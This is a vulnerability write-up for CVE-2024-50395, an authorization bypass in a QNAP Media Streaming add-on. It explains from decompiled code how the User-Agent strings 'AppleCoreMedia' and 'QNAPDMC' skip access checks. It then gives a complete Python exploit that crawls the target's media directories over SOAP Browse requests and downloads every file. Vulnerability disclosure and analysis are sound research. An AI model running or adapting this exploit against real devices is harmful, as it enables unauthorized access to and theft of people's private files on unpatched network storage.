TAG
CVE-2024-50395
CVE Info
An authorization bypass through user-controlled key vulnerability has been reported to affect Media Streaming add-on. If exploited, the vulnerability could allow local network attackers to gain privilege. We have already fixed the vulnerability in the following version: Media Streaming add-on 500.1.1.6 ( 2024/08/02 ) and later
PoC GIF
Root Cause
GET Method Authorization Bypass
The Function FUN_001293f0 in Ghidra, that maybe called ParseHttpHeaders function in original source code, parse http header data from requests by client.
That function also parse “User-Agent” and get value.
iVar4 = strncasecmp((char *)__s,"User-Agent",10);
if (iVar4 == 0) {
pcVar6 = strstr((char *)__s,"Twonky");
if ((pcVar6 == (char *)0x0) &&
(pcVar6 = strstr((char *)__s,"twonky"), pcVar6 == (char *)0x0)) {
if (((local_138 == g_DefaultClientTypeId) && (uVar5 == 0)) ||
(lVar14 = strstrc(__s,"AppleCoreMedia",0xd), puVar9 = local_120,
lVar14 != 0)) {
ppuVar10 = __ctype_b_loc();
do {
puVar9 = puVar9 + 1;
} while ((*(byte *)((long)*ppuVar10 + (long)(char)*puVar9 * 2 + 1) &
0x20) != 0);
lVar11 = 0;
pcVar6 = *(char **)(client_type_patterns + 8);
lVar14 = client_type_patterns;
lVar18 = client_type_patterns;
while (pcVar6 != (char *)0x0) {
if (*(int *)(lVar14 + 0x10) == 1) {
if (*(int *)(lVar14 + 0x14) == 0) {
lVar14 = strstrc(puVar9,pcVar6,0xd);
lVar18 = client_type_patterns;
if (lVar14 != 0) {
pcVar6 = "user-agent [%s], found clientTypeId = %d\n";
puVar20 = (undefined *)0x0;
uVar22 = 5;
local_138 = *(int *)(client_type_patterns + lVar11);
lVar12 = (longlong)local_138;
uVar15 = 0x204;
local_174 = *(uint *)(lVar12 * 0x20 + client_type_mappings +
0x10);
goto LAB_00129ab1;
}
}
At that time, if “User-Agent” value is “AppleCoreMedia”, below codes executed.
lVar11 = 0;
pcVar6 = *(char **)(client_type_patterns + 8);
lVar14 = client_type_patterns;
lVar18 = client_type_patterns;
while (pcVar6 != (char *)0x0) {
if (*(int *)(lVar14 + 0x10) == 1) {
if (*(int *)(lVar14 + 0x14) == 0) {
lVar14 = strstrc(puVar9,pcVar6,0xd);
lVar18 = client_type_patterns;
if (lVar14 != 0) {
pcVar6 = "user-agent [%s], found clientTypeId = %d\n";
puVar20 = (undefined *)0x0;
uVar22 = 5;
local_138 = *(int *)(client_type_patterns + lVar11);
lVar12 = (longlong)local_138;
uVar15 = 0x204;
local_174 = *(uint *)(lVar12 * 0x20 + client_type_mappings +
0x10);
goto LAB_00129ab1;
}
}
And then goto LAB_00129aba1
LAB_00129ab1:
myDebugUtilWrapperPrint
(uVar22,puVar20,"upnphttp.c",uVar15,"ParseHttpHeaders",pcVar6,puVa r9
,lVar12);
LAB_00129abb:
lVar14 = *(long *)(param_1 + 0x20);
uVar8 = (ulong)*(uint *)(param_1 + 0x30);
}
Then, below codes executed
LAB_00129627:
for (; (*__s != '\r' || (__s[1] != '\n')); __s = __s + 1) {
}
__s = __s + 2;
} while (__s < (uchar *)((int)uVar8 + lVar14));
}
if (local_138 < 0) {
local_138 = g_DefaultClientTypeId;
}
}
iVar4 = local_138;
pcVar6 = inet_ntoa((in_addr)*(in_addr_t *)(param_1 + 4));
myDebugUtilWrapperPrint
(5,&DAT_001682c3,"upnphttp.c",0x30f,"ParseHttpHeaders",
"finally device ip: %s found clientTypeId = %d\n",pcVar6,iVar4);
local_174 = local_174 | *(uint *)(param_1 + 0x88);
*(int *)(param_1 + 0x38) = local_138;
bVar25 = CARRY8((long)local_138 * 0x20,client_type_mappings);
ppbVar17 = (byte **)((long)local_138 * 0x20 + client_type_mappings);
bVar26 = ppbVar17 == (byte **)0x0;
*(uint *)(param_1 + 0x88) = local_174;
lVar14 = 8;
*(uint *)(param_1 + 0xa4) = local_130;
*(int *)(param_1 + 0xa8) = local_13c;
*(int *)(param_1 + 0xac) = local_134;
pbVar19 = *ppbVar17;
pbVar21 = (byte *)"AppleTV";
/*
omited...
*/
uVar15 = 0;
if ((local_174 & 0x100) == 0) goto LAB_001298c4;
Focus on the code that is uVar15 = 0; if ((local_174 & 0x100) == 0) goto LAB_001298c4;
if User-Agent value is “AppleCoreMedia”, That code could be executed.
So The function FUN_001293f0 return 0 value.
That Function is called in FUN_001411f0, running **like a routing function, when the return value is 0,
FUN_001411f0 doesn’t execute any Functions that send http 401 errorcode. (”Deny Access”)
(The Function FUN_001411f0 is maybe called ProcessHTTPSubscribe in original souce code.)
POST Method
The Client Type “QNAPDMC” is initialized in Funtion “InsertQNAPClientType”. (That Funtion is called in main)
And in that Function, the Variable g_QNAPDMCClientTypeId is initialized.
When a client use http POST method, The main processing Function is FUN_0012ee50.
uVar21 = 1;
myDebugUtilWrapperPrint(5,0,"upnphttp.c",0x587,"ProcessHttpQuery_upnphttp","HTTP REQUEST: %.*s\n ")
;
/* DAT_001690a2 is "POST" */
lVar11 = 5;
pbVar13 = &DAT_001690a2;
pbVar14 = local_298;
do {
if (lVar11 == 0) break;
lVar11 = lVar11 + -1;
uVar19 = *pbVar13 < *pbVar14;
uVar21 = *pbVar13 == *pbVar14;
pbVar13 = pbVar13 + (ulong)bVar22 * -2 + 1;
pbVar14 = pbVar14 + (ulong)bVar22 * -2 + 1;
} while ((bool)uVar21);
if ((!(bool)uVar19 && !(bool)uVar21) == (bool)uVar19) {
param_1[0xd] = 2;
FUN_0012ee50(param_1);
goto exit;
}
if request header has “Soapaction”, Function ExecuteSoapAction is executed.
(*(long *)(param_1 + 0x10) value was setted in FUN_001293f0 )
if ((int)(param_1[10] - param_1[0xc]) < (int)param_1[0xb]) {
param_1[3] = 1;
return (ulong)(param_1[10] - param_1[0xc]);
}
if (*(long *)(param_1 + 0x10) != 0) {
uVar2 = ExecuteSoapAction(param_1,*(long *)(param_1 + 0x10),param_1[0x12]);
return uVar2;
}
In ExecuteSoapAction, if (*(int *)(param_1 + 0x38) is same as g_QNAPDMCClientTypeId, We can bypass Authorization.
if ((*(int *)(param_1 + 0xac) != 0) && (*(int *)(param_1 + 0x38) != g_QNAPDMCClientTypeId)) {
if (n_lan_addr < 1) {
LAB_0014a27f:
pcVar6 = "Deny Access";
goto LAB_0014a3dd;
}
if (DAT_00398a90 != *(int *)(param_1 + 4)) {
puVar3 = &lan_addr;
do {
if (puVar3 == &lan_addr + (ulong)(n_lan_addr - 1) * 0x1c) goto LAB_0014a27f;
piVar1 = (int *)(puVar3 + 0x2c);
puVar3 = puVar3 + 0x1c;
} while (*piVar1 != *(int *)(param_1 + 4));
}
}
pcVar6 = strchr(param_2,0x23);
The variable (*(int *)(param_1 + 0x38) is initialized in FUN_001293f0 by using “User-Agent”.
So We can bypass Authorization, using request header “User-Agent: AppleCoreMedia, User-Agent: QNAPDMC”.
Exploit
#!/usr/bin/python3
# POC.py
import requests
import html, os, time
import xml.etree.ElementTree as ET
import argparse
from xml.dom.minidom import parseString
#from tqdm import tqdm
log = lambda x: print("\033[31m[+]" + "\033[37m"+x)
HOST = 'http://{0}:{1}'
session = requests.Session()
auth_bypass_header= {"User-Agent": "AppleCoreMedia"}
auth_post_bypass_header= {"User-Agent": "QNAPDMC"}
def makedirs(path):
if not os.path.exists(path):
os.makedirs(path)
#
# GET TARGET INFO
#
def get_rootDesc(sess:requests.Session):
res = sess.get(url=f"{HOST}/rootDesc.xml", headers=auth_bypass_header)
obj = parseString(html.unescape(res.text))
NAME = obj.getElementsByTagName('friendlyName')[0].firstChild.nodeValue
MODEL = obj.getElementsByTagName('av:MODEL')[0].firstChild.nodeValue
VERSION = obj.getElementsByTagName('av:VERSION')[0].firstChild.nodeValue
log(f"TARGET NAME: {NAME}")
log(f"TARGET MODEL: {MODEL}")
log(f"TARGET QTS VERSION: {VERSION}")
#
# This Function Search Directory And Download All Files
#
def exploit(sess:requests.Session):
header = auth_post_bypass_header.copy()
header['Soapaction'] = "urn:schemas-upnp-org:service:ContentDirectory:1:#Browse"
pay = """<?xml version="1.0" encoding="utf-8" standalone="yes"?>"""
pay += """<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">"""
pay += """<s:Body><u:Browse xmlns:u="urn:schemas-upnp-org:service:ContentDirectory:{0}">"""
pay += """<ObjectID>{1}</ObjectID>"""
pay += """<BrowseFlag>BrowseDirectChildren</BrowseFlag>"""
pay += """</u:Browse></s:Body></s:Envelope>"""
res = sess.post(url=HOST, headers=header, data=pay.format(0, 0))
obj = parseString(html.unescape(res.text))
element = obj.getElementsByTagName('container')
keys1 = {}
for ee in element:
dir_name = ee.getElementsByTagName("dc:title")[0].firstChild.nodeValue
log(f"FIND: {dir_name}")
keys1[dir_name] = ee.getAttribute("id")
keys2 = []
for k,v in keys1.items():
res = sess.post(url=f"{HOST}", headers=header, data=pay.format(v, v))
obj = parseString(html.unescape(res.text))
element = obj.getElementsByTagName('container')
for ee in element:
dir_name = ee.getElementsByTagName("dc:title")[0].firstChild.nodeValue
#log(f"FIND: {dir_name}")
keys2.append([v, dir_name, ee.getAttribute("id")])
keys3 = []
for k in keys2:
res = sess.post(url=f"{HOST}", headers=header, data=pay.format(1, k[-1]))
obj = parseString(html.unescape(res.text))
element = obj.getElementsByTagName('container')
for ee in element:
file_name = ee.getElementsByTagName("dc:title")[0].firstChild.nodeValue
#log(f"FIND: {file_name}")
keys3.append([v, file_name, ee.getAttribute("id")])
keys4 = []
deps_key = []
for k in keys3:
res = sess.post(url=f"{HOST}", headers=header, data=pay.format(1, k[-1]))
obj = parseString(html.unescape(res.text))
element = obj.getElementsByTagName('item')
element2 = obj.getElementsByTagName('container')
for ee in element:
file_name = ee.getElementsByTagName("dc:title")[0].firstChild.nodeValue
#log(f"FIND: {file_name}")
url = ee.getElementsByTagName('res')[0].firstChild.nodeValue
if 'MediaItems' in url or "Resize" in url or "Transcode" in url:
keys4.append([v, file_name, url, url.split("ext=")[1]])
for ee in element2:
deps_key.append(ee.getAttribute("id"))
for k in deps_key:
res = sess.post(url=f"{HOST}", headers=header, data=pay.format(1, k))
obj = parseString(html.unescape(res.text))
element = obj.getElementsByTagName('item')
for ee in element:
file_name = ee.getElementsByTagName("dc:title")[0].firstChild.nodeValue
#log(f"FIND: {file_name}")
url = ee.getElementsByTagName('res')[0].firstChild.nodeValue
if 'MediaItems' in url or "Resize" in url or "Transcode" in url:
keys4.append([v, file_name, url, url.split("ext=")[1]])
makedirs('./Downloaded')
for k in keys4:
if "Transcode" in k[-2]:
k[-2] = k[-2].replace("Transcode", "MediaItems")
RETRY = []
for k in keys4:
URL = k[-2]
res = sess.get(url=URL, headers=auth_bypass_header)
if len(res.content) <= 0:
RETRY.append([k[1]+k[-1], k[-2]])
log(f'FAILED: {k[1]+k[-1]}')
continue
with open(f"./Downloaded/{k[1]+k[-1]}", 'wb') as f:
f.write(res.content)
log(f"SUCCESS DOWNLOAD FILE {k[1]+k[-1]}")
for rr in RETRY:
res = sess.head(url=rr[1], headers=auth_bypass_header)
print(rr[1])
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='')
parser.add_argument('--target', required=True, help='TRAGET ADDRESS')
parser.add_argument('--port', required=False, default='8200', help='TARGET PORT\ndefault value is 8200')
args = parser.parse_args()
HOST = HOST.format(args.target, args.port)
get_rootDesc(session)
exploit(session)